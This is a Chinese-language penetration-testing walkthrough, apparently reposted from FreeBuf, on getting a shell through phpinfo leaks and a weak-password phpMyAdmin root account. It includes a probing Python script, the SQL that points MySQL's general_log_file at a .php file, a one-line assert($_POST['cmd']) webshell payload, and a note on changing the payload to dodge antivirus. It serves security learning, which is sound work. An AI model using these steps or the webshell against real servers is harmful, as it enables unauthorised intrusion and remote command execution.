phpmyadmin+phpinfo()+一句话webshell简单绕过getshell
2020-12-17 12:16:59 Author: www.freebuf.com(查看原文) 阅读量:532 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

信息收集

通过信息收集发现phpinfo页面:

找到关键信息web路径C:/ps/WWW


首先想到的是临时目录批量上传文件然后再利用文件包含漏洞拿shell

先测试有没有临时目录:

编写脚本,上传文件探测是否存在phpinfo包含临时文件的信息。

import requests

 

files = {

  'file': ("aa.txt","ssss")

}

url = "http://x.x.x.x/phpinfo.php"

r = requests.post(url=url, files=files, allow_redirects=False)

print(r.text)

发现存在临时文件

继续利用条件竞争上传失败。

然后测试有没有文件包含,并没有。

然后继续信息收集发现phpmyadmin  并且发现root用户弱口令漏洞

经测试发现mysql中的Into outfile被禁用:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

下一步查询general_log处于开启状态,状态为开启的时候,系统将mysql以后执行的每一条查询语句写入你指定的位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,可以先指定路径为一个php文件,再执行sql语句SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到你指定的php文件中去了。

于是我们可以设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell

漏洞利用

由于前面phpinfo页面里已经找到web路径,可构造以下语句:

SET global general_log_file='C:/ps/www/xiaoma.php';

写入webshell的时候发现直接构造eval函数访问的时候提示报错大概的意思就是提示文件内容变为0行,判断是被杀了。

于是稍微改动一下,如下图,eval会将输入的$a作为php语句执行,因此只要对l赋一定的system命令值,就能够执行系统命令

访问一下这次没有被杀

shell到手:

思路

phpinfo漏洞利用思路如下:

1、phpinfo中可以看到上传的临时文件的路径,从而实现LFI+getshell

https://www.pianshen.com/article/71091159796/

phpmyadmin漏洞利用思路如下:

1、利用全局变量general_log去getshell

2、利用slow_query_log慢查询日志getshell

3、利用phpmyadmin4.8.x本地文件包含漏洞getshell

https://www.icode9.com/content-3-218228.html

4、select into outfile直接写入

https://www.lurbk.com/lur2774.html


文章来源: https://www.freebuf.com/vuls/254182.html
如有侵权请联系:admin#unsafe.sh